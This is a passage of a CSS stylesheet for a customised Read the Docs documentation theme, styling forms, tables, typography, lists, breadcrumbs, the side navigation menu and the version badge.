input[type=\"number\"],\n.wy-control-group.wy-control-group-error input[type=\"search\"],\n.wy-control-group.wy-control-group-error input[type=\"tel\"],\n.wy-control-group.wy-control-group-error input[type=\"color\"] {\n    border: solid 1px #E74C3C\n}\n\n.wy-control-group.wy-control-group-error textarea {\n    border: solid 1px #E74C3C\n}\n\n.wy-inline-validate {\n    white-space: nowrap\n}\n\n.wy-inline-validate .wy-input-context {\n    padding: .5em .625em;\n    display: inline-block;\n    font-size: 80%\n}\n\n.wy-inline-validate.wy-inline-validate-success .wy-input-context {\n    color: #052882\n}\n\n.wy-inline-validate.wy-inline-validate-danger .wy-input-context {\n    color: #E74C3C\n}\n\n.wy-inline-validate.wy-inline-validate-warning .wy-input-context {\n    color: #E67E22\n}\n\n.wy-inline-validate.wy-inline-validate-info .wy-input-context {\n    color: #2980B9\n}\n\n.rotate-90 {\n    -webkit-transform: rotate(90deg);\n    -moz-transform: rotate(90deg);\n    -ms-transform: rotate(90deg);\n    -o-transform: rotate(90deg);\n    transform: rotate(90deg)\n}\n\n.rotate-180 {\n    -webkit-transform: rotate(180deg);\n    -moz-transform: rotate(180deg);\n    -ms-transform: rotate(180deg);\n    -o-transform: rotate(180deg);\n    transform: rotate(180deg)\n}\n\n.rotate-270 {\n    -webkit-transform: rotate(270deg);\n    -moz-transform: rotate(270deg);\n    -ms-transform: rotate(270deg);\n    -o-transform: rotate(270deg);\n    transform: rotate(270deg)\n}\n\n.mirror {\n    -webkit-transform: scaleX(-1);\n    -moz-transform: scaleX(-1);\n    -ms-transform: scaleX(-1);\n    -o-transform: scaleX(-1);\n    transform: scaleX(-1)\n}\n\n.mirror.rotate-90 {\n    -webkit-transform: scaleX(-1) rotate(90deg);\n    -moz-transform: scaleX(-1) rotate(90deg);\n    -ms-transform: scaleX(-1) rotate(90deg);\n    -o-transform: scaleX(-1) rotate(90deg);\n    transform: scaleX(-1) rotate(90deg)\n}\n\n.mirror.rotate-180 {\n    -webkit-transform: scaleX(-1) rotate(180deg);\n    -moz-transform: scaleX(-1) rotate(180deg);\n    -ms-transform: scaleX(-1) rotate(180deg);\n    -o-transform: scaleX(-1) rotate(180deg);\n    transform: scaleX(-1) rotate(180deg)\n}\n\n.mirror.rotate-270 {\n    -webkit-transform: scaleX(-1) rotate(270deg);\n    -moz-transform: scaleX(-1) rotate(270deg);\n    -ms-transform: scaleX(-1) rotate(270deg);\n    -o-transform: scaleX(-1) rotate(270deg);\n    transform: scaleX(-1) rotate(270deg)\n}\n\n@media only screen and (max-width: 480px) {\n    .wy-form button[type=\"submit\"] {\n        margin: .7em 0 0\n    }\n\n    .wy-form input[type=\"text\"],\n    .wy-form input[type=\"password\"],\n    .wy-form input[type=\"email\"],\n    .wy-form input[type=\"url\"],\n    .wy-form input[type=\"date\"],\n    .wy-form input[type=\"month\"],\n    .wy-form input[type=\"time\"],\n    .wy-form input[type=\"datetime\"],\n    .wy-form input[type=\"datetime-local\"],\n    .wy-form input[type=\"week\"],\n    .wy-form input[type=\"number\"],\n    .wy-form input[type=\"search\"],\n    .wy-form input[type=\"tel\"],\n    .wy-form input[type=\"color\"] {\n        margin-bottom: .3em;\n        display: block\n    }\n\n    .wy-form label {\n        margin-bottom: .3em;\n        display: block\n    }\n\n    .wy-form input[type=\"password\"],\n    .wy-form input[type=\"email\"],\n    .wy-form input[type=\"url\"],\n    .wy-form input[type=\"date\"],\n    .wy-form input[type=\"month\"],\n    .wy-form input[type=\"time\"],\n    .wy-form input[type=\"datetime\"],\n    .wy-form input[type=\"datetime-local\"],\n    .wy-form input[type=\"week\"],\n    .wy-form input[type=\"number\"],\n    .wy-form input[type=\"search\"],\n    .wy-form input[type=\"tel\"],\n    .wy-form input[type=\"color\"] {\n        margin-bottom: 0\n    }\n\n    .wy-form-aligned .wy-control-group label {\n        margin-bottom: .3em;\n        text-align: left;\n        display: block;\n        width: 100%\n    }\n\n    .wy-form-aligned .wy-control {\n        margin: 1.5em 0 0 0\n    }\n\n    .wy-form .wy-help-inline,\n    .wy-form-message-inline,\n    .wy-form-message {\n        display: block;\n        font-size: 80%;\n        padding: 6px 0\n    }\n}\n\n@media screen and (max-width: 768px) {\n    .tablet-hide {\n        display: none\n    }\n}\n\n@media screen and (max-width: 480px) {\n    .mobile-hide {\n        display: none\n    }\n}\n\n.float-left {\n    float: left\n}\n\n.float-right {\n    float: right\n}\n\n.full-width {\n    width: 100%\n}\n\n.wy-table,\n.rst-content table.docutils,\n.rst-content table.field-list {\n    border-collapse: collapse;\n    border-spacing: 0;\n    empty-cells: show;\n    margin-bottom: 24px\n}\n\n.wy-table caption,\n.rst-content table.docutils caption,\n.rst-content table.field-list caption {\n    color: #000;\n    font: italic 85%/1 arial, sans-serif;\n    padding: 1em 0;\n    text-align: center\n}\n\n.wy-table td,\n.rst-content table.docutils td,\n.rst-content table.field-list td,\n.wy-table th,\n.rst-content table.docutils th,\n.rst-content table.field-list th {\n    font-size: 90%;\n    margin: 0;\n    overflow: visible;\n    padding: 8px 16px\n}\n\n.wy-table td:first-child,\n.rst-content table.docutils td:first-child,\n.rst-content table.field-list td:first-child,\n.wy-table th:first-child,\n.rst-content table.docutils th:first-child,\n.rst-content table.field-list th:first-child {\n    border-left-width: 0\n}\n\n.wy-table thead,\n.rst-content table.docutils thead,\n.rst-content table.field-list thead {\n    color: #000;\n    text-align: left;\n    vertical-align: bottom;\n    white-space: nowrap\n}\n\n.wy-table thead th,\n.rst-content table.docutils thead th,\n.rst-content table.field-list thead th {\n    font-weight: bold;\n    border-bottom: solid 2px #e1e4e5\n}\n\n.wy-table td,\n.rst-content table.docutils td,\n.rst-content table.field-list td {\n    background-color: transparent;\n    vertical-align: middle\n}\n\n.wy-table td p,\n.rst-content table.docutils td p,\n.rst-content table.field-list td p {\n    line-height: 18px\n}\n\n.wy-table td p:last-child,\n.rst-content table.docutils td p:last-child,\n.rst-content table.field-list td p:last-child {\n    margin-bottom: 0\n}\n\n.wy-table .wy-table-cell-min,\n.rst-content table.docutils .wy-table-cell-min,\n.rst-content table.field-list .wy-table-cell-min {\n    width: 1%;\n    padding-right: 0\n}\n\n.wy-table .wy-table-cell-min input[type=checkbox],\n.rst-content table.docutils .wy-table-cell-min input[type=checkbox],\n.rst-content table.field-list .wy-table-cell-min input[type=checkbox],\n.wy-table .wy-table-cell-min input[type=checkbox],\n.rst-content table.docutils .wy-table-cell-min input[type=checkbox],\n.rst-content table.field-list .wy-table-cell-min input[type=checkbox] {\n    margin: 0\n}\n\n.wy-table-secondary {\n    color: gray;\n    font-size: 90%\n}\n\n.wy-table-tertiary {\n    color: gray;\n    font-size: 80%\n}\n\n.wy-table-odd td,\n.wy-table-striped tr:nth-child(2n-1) td,\n.rst-content table.docutils:not(.field-list) tr:nth-child(2n-1) td {\n    background-color: #f3f6f6\n}\n\n.wy-table-backed {\n    background-color: #f3f6f6\n}\n\n.wy-table-bordered-all,\n.rst-content table.docutils {\n    border: 1px solid #e1e4e5\n}\n\n.wy-table-bordered-all td,\n.rst-content table.docutils td {\n    border-bottom: 1px solid #e1e4e5;\n    border-left: 1px solid #e1e4e5\n}\n\n.wy-table-bordered-all tbody>tr:last-child td,\n.rst-content table.docutils tbody>tr:last-child td {\n    border-bottom-width: 0\n}\n\n.wy-table-bordered {\n    border: 1px solid #e1e4e5\n}\n\n.wy-table-bordered-rows td {\n    border-bottom: 1px solid #e1e4e5\n}\n\n.wy-table-bordered-rows tbody>tr:last-child td {\n    border-bottom-width: 0\n}\n\n.wy-table-horizontal tbody>tr:last-child td {\n    border-bottom-width: 0\n}\n\n.wy-table-horizontal td,\n.wy-table-horizontal th {\n    border-width: 0 0 1px 0;\n    border-bottom: 1px solid #e1e4e5\n}\n\n.wy-table-horizontal tbody>tr:last-child td {\n    border-bottom-width: 0\n}\n\n.wy-table-responsive {\n    margin-bottom: 24px;\n    max-width: 100%;\n    overflow: auto\n}\n\n.wy-table-responsive table {\n    margin-bottom: 0 !important\n}\n\n.wy-table-responsive table td,\n.wy-table-responsive table th {\n    white-space: nowrap\n}\n\na {\n    text-decoration: none;\n    cursor: pointer;\n    color: #102971;\n}\n\nhtml {\n    height: 100%;\n    overflow-x: hidden;\n}\n\n/* Body */\nbody {\n    font-family: sofia-pro, sans-serif;\n    font-weight: 300;\n    color: #052882;\n    min-height: 100%;\n    overflow-x: hidden;\n    background: #fff;\n    font-style: normal;\n}\n\n.wy-text-left {\n    text-align: left\n}\n\n.wy-text-center {\n    text-align: center\n}\n\n.wy-text-right {\n    text-align: right\n}\n\n.wy-text-large {\n    font-size: 120%\n}\n\n.wy-text-normal {\n    font-size: 100%\n}\n\n.wy-text-small,\nsmall {\n    font-size: 80%\n}\n\n.wy-text-strike {\n    text-decoration: line-through\n}\n\n.wy-text-warning {\n    color: #E67E22 !important\n}\n\na.wy-text-warning:hover {\n    color: #eb9950 !important\n}\n\n.wy-text-info {\n    color: #2980B9 !important\n}\n\na.wy-text-info:hover {\n    color: #409ad5 !important\n}\n\n.wy-text-success {\n    color: #052882 !important\n}\n\na.wy-text-success:hover {\n    color: #36d278 !important\n}\n\n.wy-text-danger {\n    color: #E74C3C !important\n}\n\na.wy-text-danger:hover {\n    color: #ed7669 !important\n}\n\n.wy-text-neutral {\n    color: #404040 !important\n}\n\na.wy-text-neutral:hover {\n    color: #595959 !important\n}\n\nh1,\nh2,\n.rst-content .toctree-wrapper p.caption,\nh3,\nh4,\nh5,\nh6,\nlegend {\n    margin-top: 0;\n    font-weight: 300;\n    font-family: sofia-pro, sans-serif;\n}\n\np {\n    line-height: 24px;\n    margin: 0;\n    font-size: 16px;\n    margin-bottom: 24px\n}\n\nh1 {\n    font-size: 45px;\n    line-height: 50px;\n}\n\nh2,\n.rst-content .toctree-wrapper p.caption {\n    font-size: 25px;\n    font-weight: 500;\n}\n\nh3 {\n    font-size: 125%\n}\n\nh4 {\n    font-size: 115%\n}\n\nh5 {\n    font-size: 110%\n}\n\nh6 {\n    font-size: 100%\n}\n\nhr {\n    display: block;\n    height: 1px;\n    border: 0;\n    border-top: 1px solid #e1e4e5;\n    margin: 24px 0;\n    padding: 0\n}\n\ncode,\n.rst-content tt,\n.rst-content code {\n    white-space: nowrap;\n    max-width: 100%;\n    background: #fff;\n    border: solid 1px #e1e4e5;\n    font-size: 75%;\n    padding: 0 5px;\n    font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", Courier, monospace;\n    color: #E74C3C;\n    overflow-x: auto\n}\n\ncode.code-large,\n.rst-content tt.code-large {\n    font-size: 90%\n}\n\n.wy-plain-list-disc,\n.rst-content .section ul,\n.rst-content .toctree-wrapper ul,\narticle ul {\n    list-style: disc;\n    line-height: 24px;\n    margin-bottom: 24px\n}\n\n.wy-plain-list-disc li,\n.rst-content .section ul li,\n.rst-content .toctree-wrapper ul li,\narticle ul li {\n    list-style: disc;\n    margin-left: 24px\n}\n\n.wy-plain-list-disc li p:last-child,\n.rst-content .section ul li p:last-child,\n.rst-content .toctree-wrapper ul li p:last-child,\narticle ul li p:last-child {\n    margin-bottom: 0\n}\n\n.wy-plain-list-disc li ul,\n.rst-content .section ul li ul,\n.rst-content .toctree-wrapper ul li ul,\narticle ul li ul {\n    margin-bottom: 0\n}\n\n.wy-plain-list-disc li li,\n.rst-content .section ul li li,\n.rst-content .toctree-wrapper ul li li,\narticle ul li li {\n    list-style: circle\n}\n\n.wy-plain-list-disc li li li,\n.rst-content .section ul li li li,\n.rst-content .toctree-wrapper ul li li li,\narticle ul li li li {\n    list-style: square\n}\n\n.wy-plain-list-disc li ol li,\n.rst-content .section ul li ol li,\n.rst-content .toctree-wrapper ul li ol li,\narticle ul li ol li {\n    list-style: decimal\n}\n\n.wy-plain-list-decimal,\n.rst-content .section ol,\n.rst-content ol.arabic,\narticle ol {\n    list-style: decimal;\n    line-height: 24px;\n    margin-bottom: 24px\n}\n\n.wy-plain-list-decimal li,\n.rst-content .section ol li,\n.rst-content ol.arabic li,\narticle ol li {\n    list-style: decimal;\n    margin-left: 24px\n}\n\n.wy-plain-list-decimal li p:last-child,\n.rst-content .section ol li p:last-child,\n.rst-content ol.arabic li p:last-child,\narticle ol li p:last-child {\n    margin-bottom: 0\n}\n\n.wy-plain-list-decimal li ul,\n.rst-content .section ol li ul,\n.rst-content ol.arabic li ul,\narticle ol li ul {\n    margin-bottom: 0\n}\n\n.wy-plain-list-decimal li ul li,\n.rst-content .section ol li ul li,\n.rst-content ol.arabic li ul li,\narticle ol li ul li {\n    list-style: disc\n}\n\n.wy-breadcrumbs {\n    *zoom: 1\n}\n\n.wy-breadcrumbs:before,\n.wy-breadcrumbs:after {\n    display: table;\n    content: \"\"\n}\n\n.wy-breadcrumbs:after {\n    clear: both\n}\n\n.wy-breadcrumbs li {\n    display: inline-block\n}\n\n.wy-breadcrumbs li.wy-breadcrumbs-aside {\n    float: right\n}\n\n.wy-breadcrumbs li a {\n    display: inline-block;\n    padding: 5px\n}\n\n.wy-breadcrumbs li a:first-child {\n    padding-left: 0\n}\n\n.wy-breadcrumbs li code,\n.wy-breadcrumbs li .rst-content tt,\n.rst-content .wy-breadcrumbs li tt {\n    padding: 5px;\n    border: none;\n    background: none\n}\n\n.wy-breadcrumbs li code.literal,\n.wy-breadcrumbs li .rst-content tt.literal,\n.rst-content .wy-breadcrumbs li tt.literal {\n    color: #404040\n}\n\n.wy-breadcrumbs-extra {\n    margin-bottom: 0;\n    color: #b3b3b3;\n    font-size: 80%;\n    display: inline-block\n}\n\n@media screen and (max-width: 480px) {\n    .wy-breadcrumbs-extra {\n        display: none\n    }\n\n    .wy-breadcrumbs li.wy-breadcrumbs-aside {\n        display: none\n    }\n}\n\n@media print {\n    .wy-breadcrumbs li.wy-breadcrumbs-aside {\n        display: none\n    }\n}\n\n.wy-affix {\n    position: fixed;\n    top: 1.618em\n}\n\n.wy-menu a:hover {\n    text-decoration: none\n}\n\n.wy-menu-horiz {\n    *zoom: 1\n}\n\n.wy-menu-horiz:before,\n.wy-menu-horiz:after {\n    display: table;\n    content: \"\"\n}\n\n.wy-menu-horiz:after {\n    clear: both\n}\n\n.wy-menu-horiz ul,\n.wy-menu-horiz li {\n    display: inline-block\n}\n\n.wy-menu-horiz li:hover {\n    background: rgba(255, 255, 255, 0.1)\n}\n\n.wy-menu-horiz li.divide-left {\n    border-left: solid 1px #404040\n}\n\n.wy-menu-horiz li.divide-right {\n    border-right: solid 1px #404040\n}\n\n.wy-menu-horiz a {\n    height: 32px;\n    display: inline-block;\n    line-height: 32px;\n    padding: 0 16px\n}\n\n.wy-menu-vertical {\n    width: 300px\n}\n\n.wy-menu-vertical > ul:first-child li a {\n    font-size: 20px;\n    line-height: 25px;\n    letter-spacing: .5px;\n    font-weight: 700;\n    padding-left: 20px;\n    padding-right: 20px;\n}\n\n.wy-menu-vertical > ul:first-child li a:hover {\n    background-color: #102971 !important;\n    color: #fff !important;\n}\n\n.wy-menu-vertical header,\n.wy-menu-vertical p.caption {\n    height: 32px;\n    display: inline-block;\n    line-height: 32px;\n    padding: 0 35px;\n    margin-bottom: 0;\n    display: block;\n    font-weight: normal;\n    text-transform: uppercase;\n    font-size: 80%;\n    white-space: nowrap;\n}\n\n.wy-menu-vertical ul {\n    margin-bottom: 0\n}\n\n.wy-menu-vertical li.divide-top {\n    border-top: solid 1px #404040\n}\n\n.wy-menu-vertical li.divide-bottom {\n    border-bottom: solid 1px #404040\n}\n\n/* .wy-menu-vertical li.current {\n    background: #e3e3e3;\n} */\n\n.wy-menu-vertical li a {\n    /* color: gray; */\n    /* border-right: solid 1px #c9c9c9; */\n    padding: .4045em 35px;\n}\n\n/* .wy-menu-vertical li.current a:hover {\n    background: #d6d6d6\n} */\n\n.wy-menu-vertical li code,\n.wy-menu-vertical li .rst-content tt,\n.rst-content .wy-menu-vertical li tt {\n    border: none;\n    background: inherit;\n    color: inherit;\n    padding-left: 0;\n    padding-right: 0\n}\n\n.wy-menu-vertical li span.toctree-expand {\n    display: block;\n    float: left;\n    margin-left: -1.2em;\n    font-size: .8em;\n    line-height: 1.6em;\n    color: #4d4d4d\n}\n\n.wy-menu-vertical li.on a,\n.wy-menu-vertical li.current>a {\n    color: #fff;\n    /* padding: .4045em 1.618em; */\n    font-weight: normal;\n    position: relative;\n    /* background: #fcfcfc; */\n    border: none;\n    /* padding-left: 1.618em -4px; */\n}\n\n.wy-menu-vertical li.on a:hover,\n.wy-menu-vertical li.current>a:hover {\n    /* background: #fcfcfc */\n}\n\n.wy-menu-vertical li.on a:hover span.toctree-expand,\n.wy-menu-vertical li.current>a:hover span.toctree-expand {\n    /* color: gray */\n}\n\n.wy-menu-vertical li.on a span.toctree-expand,\n.wy-menu-vertical li.current>a span.toctree-expand {\n    display: block;\n    font-size: .8em;\n    line-height: 1.6em;\n    /* color: #333 */\n}\n\n/* .wy-menu-vertical li.toctree-l1.current>a {\n    border-bottom: solid 1px #c9c9c9;\n    border-top: solid 1px #c9c9c9\n} */\n\n.wy-menu-vertical li.toctree-l2 a,\n.wy-menu-vertical li.toctree-l3 a,\n.wy-menu-vertical li.toctree-l4 a {\n    color: #fff;\n}\n\n.wy-menu-vertical li.toctree-l1.current li.toctree-l2>ul,\n.wy-menu-vertical li.toctree-l2.current li.toctree-l3>ul {\n    display: none\n}\n\n.wy-menu-vertical li.toctree-l1.current li.toctree-l2.current>ul,\n.wy-menu-vertical li.toctree-l2.current li.toctree-l3.current>ul {\n    display: block\n}\n\n\n\n.wy-menu-vertical li.toctree-l2.current li.toctree-l3>a {\n    display: block;\n    /* background: #c9c9c9; */\n    padding: .4045em 4.045em;\n}\n\n.wy-menu-vertical li.toctree-l2 a:hover span.toctree-expand {\n    color: gray\n}\n\n.wy-menu-vertical li.toctree-l2 span.toctree-expand {\n    color: #a3a3a3\n}\n\n.wy-menu-vertical li.toctree-l3 {\n    font-size: .9em\n}\n\n.wy-menu-vertical li.toctree-l3.current>a {\n    /* background: #bdbdbd; */\n    padding: .4045em 4.045em\n}\n\n.wy-menu-vertical li.toctree-l3.current li.toctree-l4>a {\n    display: block;\n    background: #bdbdbd;\n    padding: .4045em 5.663em\n}\n\n.wy-menu-vertical li.toctree-l3 a:hover span.toctree-expand {\n    color: gray\n}\n\n.wy-menu-vertical li.toctree-l3 span.toctree-expand {\n    color: #969696\n}\n\n.wy-menu-vertical li.toctree-l4 {\n    font-size: .9em\n}\n\n.wy-menu-vertical li.current ul {\n    display: block\n}\n\n.wy-menu-vertical li ul {\n    margin-bottom: 0;\n    display: none\n}\n\n.wy-menu-vertical li ul li a {\n    margin-bottom: 0;\n    color: #d9d9d9;\n    font-weight: normal\n}\n\n.wy-menu-vertical a {\n    display: inline-block;\n    line-height: 18px;\n    padding: .4045em 20px;\n    display: block;\n    position: relative;\n    font-size: 90%;\n    color: #fff;\n}\n\n.wy-menu-vertical a:hover {\n    background-color: #fff;\n    cursor: pointer;\n    color: #102971 !important;\n}\n\n.wy-menu-vertical a:hover span.toctree-expand {\n    color: #d9d9d9\n}\n\n.wy-menu-vertical a:active {\n    background-color: #2980B9;\n    cursor: pointer;\n    color: #fff\n}\n\n.wy-menu-vertical a:active span.toctree-expand {\n    color: #fff\n}\n\n.wy-side-nav-search {\n    display: block;\n    width: 300px;\n    padding: .809em;\n    margin-bottom: .809em;\n    z-index: 200;\n    background-color: #102971;\n    text-align: center;\n    padding: .809em;\n    display: block;\n    color: #fcfcfc;\n    margin-bottom: .809em\n}\n\n.wy-side-nav-search input[type=text] {\n    width: 100%;\n    border-radius: 28px;\n    padding: 12px 0 12px 32px;\n    border-color: #102971;\n    font-size: 16px;\n    color: #8E93A0;\n}\n\n.wy-side-nav-search img {\n    display: block;\n    margin: auto auto .809em auto;\n    height: 45px;\n    width: 45px;\n    background-color: #2980B9;\n    padding: 5px;\n    border-radius: 100%\n}\n\n.wy-side-nav-search>a,\n.wy-side-nav-search .wy-dropdown>a {\n    color: #fcfcfc;\n    font-size: 100%;\n    font-weight: bold;\n    display: inline-block;\n    padding: 4px 6px;\n    margin-bottom: .809em\n}\n\n.wy-side-nav-search>a:hover,\n.wy-side-nav-search .wy-dropdown>a:hover {\n    background: rgba(255, 255, 255, 0.1)\n}\n\n.wy-side-nav-search>a img.logo,\n.wy-side-nav-search .wy-dropdown>a img.logo {\n    display: block;\n    margin: 0 auto;\n    height: auto;\n    width: auto;\n    border-radius: 0;\n    max-width: 100%;\n    background: transparent\n}\n\n.wy-side-nav-search>a.icon img.logo,\n.wy-side-nav-search .wy-dropdown>a.icon img.logo {\n    margin-top: .85em\n}\n\n.wy-side-nav-search>div.version {\n    margin-top: -.4045em;\n    margin-bottom: .809em;\n    font-weight: normal;\n    color: rgba(255, 255, 255, 0.3)\n}\n\n.wy-nav .wy-menu-vertical header {\n    color: #2980B9\n}\n\n.wy-nav .wy-menu-vertical a {\n    color: #b3b3b3\n}\n\n[data-menu-wrap] {\n    -webkit-transition: all .2s ease-in;\n    -moz-transition: all .2s ease-in;\n    transition: all .2s ease-in;\n    position: absolute;\n    opacity: 1;\n    width: 100%;\n    opacity: 0\n}\n\n[data-menu-wrap].move-center {\n    left: 0;\n    right: auto;\n    opacity: 1\n}\n\n[data-menu-wrap].move-left {\n    right: auto;\n    left: -100%;\n    opacity: 0\n}\n\n[data-menu-wrap].move-right {\n    right: -100%;\n    left: auto;\n    opacity: 0\n}\n\n.wy-body-for-nav {\n    background: #fcfcfc\n}\n\n.wy-grid-for-nav {\n    position: absolute;\n    width: 100%;\n    height: 100%;\n    padding-top: 128px;/*167px;*/\n}\n\n.wy-nav-side {\n    position: fixed;\n    top: 128px;/*167px;*/\n    bottom: 0;\n    left: 0;\n    padding-bottom: 2em;\n    width: 300px;\n    overflow-x: hidden;\n    overflow-y: hidden;\n    min-height: calc(100vh - 78px);\n    color: #fff;\n    background: #102971;\n    z-index: 200\n}\n\n.wy-side-scroll {\n    width: 320px;\n    position: relative;\n    overflow-x: hidden;\n    overflow-y: scroll;\n    height: 100%\n}\n\n.wy-nav-top {\n    display: none;\n    background: #2980B9;\n    color: #fff;\n    padding: .4045em .809em;\n    position: relative;\n    line-height: 50px;\n    text-align: center;\n    font-size: 100%;\n    *zoom: 1\n}\n\n.wy-nav-top:before,\n.wy-nav-top:after {\n    display: table;\n    content: \"\"\n}\n\n.wy-nav-top:after {\n    clear: both\n}\n\n.wy-nav-top a {\n    color: #fff;\n    font-weight: bold\n}\n\n.wy-nav-top img {\n    margin-right: 12px;\n    height: 45px;\n    width: 45px;\n    background-color: #2980B9;\n    padding: 5px;\n    border-radius: 100%\n}\n\n.wy-nav-top i {\n    font-size: 30px;\n    float: left;\n    cursor: pointer;\n    padding-top: inherit\n}\n\n.wy-nav-content-wrap {\n    margin-left: 300px;\n    background: #fff;\n    min-height: 100%\n}\n\n.wy-nav-content {\n    padding: 1.618em 3.236em;\n    height: 100%;\n    max-width: 800px;\n    margin: auto\n}\n\n.wy-body-mask {\n    position: fixed;\n    width: 100%;\n    height: 100%;\n    background: rgba(0, 0, 0, 0.2);\n    display: none;\n    z-index: 499\n}\n\n.wy-body-mask.on {\n    display: block\n}\n\nfooter {\n    color: gray\n}\n\nfooter p {\n    margin-bottom: 12px\n}\n\nfooter span.commit code,\nfooter span.commit .rst-content tt,\n.rst-content footer span.commit tt {\n    padding: 0px;\n    font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", Courier, monospace;\n    font-size: 1em;\n    background: none;\n    border: none;\n    color: gray\n}\n\n.rst-footer-buttons {\n    *zoom: 1\n}\n\n.rst-footer-buttons:before,\n.rst-footer-buttons:after {\n    width: 100%\n}\n\n.rst-footer-buttons:before,\n.rst-footer-buttons:after {\n    display: table;\n    content: \"\"\n}\n\n.rst-footer-buttons:after {\n    clear: both\n}\n\n.rst-breadcrumbs-buttons {\n    margin-top: 12px;\n    *zoom: 1\n}\n\n.rst-breadcrumbs-buttons:before,\n.rst-breadcrumbs-buttons:after {\n    display: table;\n    content: \"\"\n}\n\n.rst-breadcrumbs-buttons:after {\n    clear: both\n}\n\n#search-results .search li {\n    margin-bottom: 24px;\n    border-bottom: solid 1px #e1e4e5;\n    padding-bottom: 24px\n}\n\n#search-results .search li:first-child {\n    border-top: solid 1px #e1e4e5;\n    padding-top: 24px\n}\n\n#search-results .search li a {\n    font-size: 120%;\n    margin-bottom: 12px;\n    display: inline-block\n}\n\n#search-results .context {\n    color: gray;\n    font-size: 90%\n}\n\n@media screen and (max-width: 768px) {\n    .wy-body-for-nav {\n        background: #fcfcfc\n    }\n\n    .wy-nav-top {\n        display: block\n    }\n\n    .wy-nav-side {\n        left: -100vw;\n    }\n\n    .wy-nav-side.shift {\n        width: 85%;\n        left: 0\n    }\n\n    .wy-side-scroll {\n        width: auto\n    }\n\n    .wy-side-nav-search {\n        width: auto\n    }\n\n    .wy-menu.wy-menu-vertical {\n        width: auto\n    }\n\n    .wy-nav-content-wrap {\n        margin-left: 0\n    }\n\n    .wy-nav-content-wrap .wy-nav-content {\n        padding: 1.618em;\n        padding-top: 60px;\n    }\n\n    .wy-nav-content-wrap.shift {\n        position: fixed;\n        min-width: 100%;\n        left: 85%;\n        top: 0;\n        height: 100%;\n        overflow: hidden\n    }\n}\n\n@media screen and (min-width: 1100px) {\n    .wy-nav-content {\n        margin: 0;\n        background: #fff;\n    }\n}\n\n@media print {\n\n    .rst-versions,\n    footer,\n    .wy-nav-side {\n        display: none\n    }\n\n    .wy-nav-content-wrap {\n        margin-left: 0\n    }\n}\n\n.rst-versions {\n    position: fixed;\n    bottom: 0;\n    left: 0;\n    width: 300px;\n    color: #fcfcfc;\n    /* background: #1f1d1d; */\n    font-family: sofia-pro, sans-serif;\n    z-index: 400\n}\n\n.rst-versions a {\n    color: #2980B9;\n    text-decoration: none\n}\n\n.rst-versions .rst-badge-small {\n    display: none\n}\n\n.rst-versions .rst-current-version {\n    padding: 12px;\n    /* background-color: #272525; */\n    display: block;\n    text-align: right;\n    font-size: 90%;\n    cursor: pointer;\n    color: #052882;\n    *zoom: 1\n}\n\n.rst-versions .rst-current-version:before,\n.rst-versions .rst-current-version:after {\n    display: table;\n    content: \"\"\n}\n\n.rst-versions .rst-current-version:after {\n    clear: both\n}\n\n.rst-versions .rst-current-version .fa,\n.rst-versions .rst-current-version .wy-menu-vertical li span.toctree-expand,\n.wy-menu-vertical li .rst-versions .rst-current-version span.toctree-expand,\n.rst-versions .rst-current-version .rst-content .admonition-title,\n.rst-content .rst-versions .rst-current-version .admonition-title,\n.rst-versions .rst-current-version .rst-content h1 .headerlink,\n.rst-content h1 .rst-versions .rst-current-version .headerlink,\n.rst-versions .rst-current-version .rst-content h2 .headerlink,\n.rst-content h2 .rst-versions .rst-current-version .headerlink,\n.rst-versions .rst-current-version .rst-content h3 .headerlink,\n.rst-content h3 .rst-versions .rst-current-version .headerlink,\n.rst-versions .rst-current-version .rst-content h4 .headerlink,\n.rst-content h4 .rst-versions .rst-current-version .headerlink,\n.rst-versions .rst-current-version .rst-content h5 .headerlink,\n.rst-content h5 .rst-versions .rst-current-version .headerlink,\n.rst-versions .rst-current-version .rst-content h6 .headerlink,\n.rst-content h6 .rst-versions .rst-current-version .headerlink,\n.rst-versions .rst-current-version .rst-content dl dt .headerlink,\n.rst-content dl dt .rst-versions .rst-current-version .headerlink,\n.rst-versions .rst-current-version .rst-content p.caption .headerlink,\n.rst-content p.caption .rst-versions .rst-current-version .headerlink,\n.rst-versions .rst-current-version .rst-content table>caption .headerlink,\n.rst-content table>caption .rst-versions .rst-current-version .headerlink,\n.rst-versions .rst-current-version .rst-content tt.download span:first-child,\n.rst-content tt.download .rst-versions .rst-current-version span:first-child,\n.rst-versions .rst-current-version .rst-content code.download span:first-child,\n.rst-content code.download .rst-versions .rst-current-version span:first-child,\n.rst-versions .rst-current-version .icon {\n    color: #fcfcfc\n}\n\n.rst-versions .rst-current-version .fa-book,\n.rst-versions .rst-current-version .icon-book {\n    float: left\n}\n\n.rst-versions .rst-current-version .icon-book {\n    float: left\n}\n\n.rst-versions .rst-current-version.rst-out-of-date {\n    background-color: #E74C3C;\n    color: #fff\n}\n\n.rst-versions .rst-current-version.rst-active-old-version {\n    background-color: #F1C40F;\n    color: #000\n}\n\n.rst-versions.shift-up {\n    height: auto;\n    max-height: 100%\n}\n\n.rst-versions.shift-up .rst-other-versions {\n    display: block\n}\n\n.rst-versions .rst-other-versions {\n    font-size: 90%;\n    padding: 12px;\n    color: gray;\n    display: none\n}\n\n.rst-versions .rst-other-versions hr {\n    display: block;\n    height: 1px;\n    border: 0;\n    margin: 20px 0;\n    padding: 0;\n    border-top: solid 1px #413d3d\n}\n\n.rst-versions .rst-other-versions dd {\n    display: inline-block;\n    margin: 0\n}\n\n.rst-versions .rst-other-versions dd a {\n    display: inline-block;\n    padding: 6px;\n    color: #fcfcfc\n}\n\n.rst-versions.rst-badge {\n    width: auto;\n    bottom: 20px;\n    right: 20px;\n    left: auto;\n    border: none;\n    max-width: 300px\n}\n\n.rst-versions.rst-badge .icon-book {\n    float: none\n}\n\n.rst-versions.rst-badge .fa-book,\n.rst-versions.rst-badge .icon-book {\n    float: none\n}\n\n.rst-versions.rst-badge.shift-up .rst-current-version {\n    text-align: right\n}\n\n.rst-versions.rst-badge.shift-up .rst-current-version .fa-book,\n.rst-versions.rst-badge.shift-up .rst-current-version .icon-book {\n    float: left\n}\n\n.rst-versions.rst-badge.shift-up .rst-current-version .icon-book {\n    float: left\n}\n\n.rst-versions.rst-badge .rst-current-version {\n    width: auto;\n    height: 30px;\n    line-height: 30px;\n    padding: 0 6px;\n    display: block;\n    text-align: center\n}\n\n@media screen and (max-width: 768px) {\n    .rst-versions {\n        width: 85%;\n        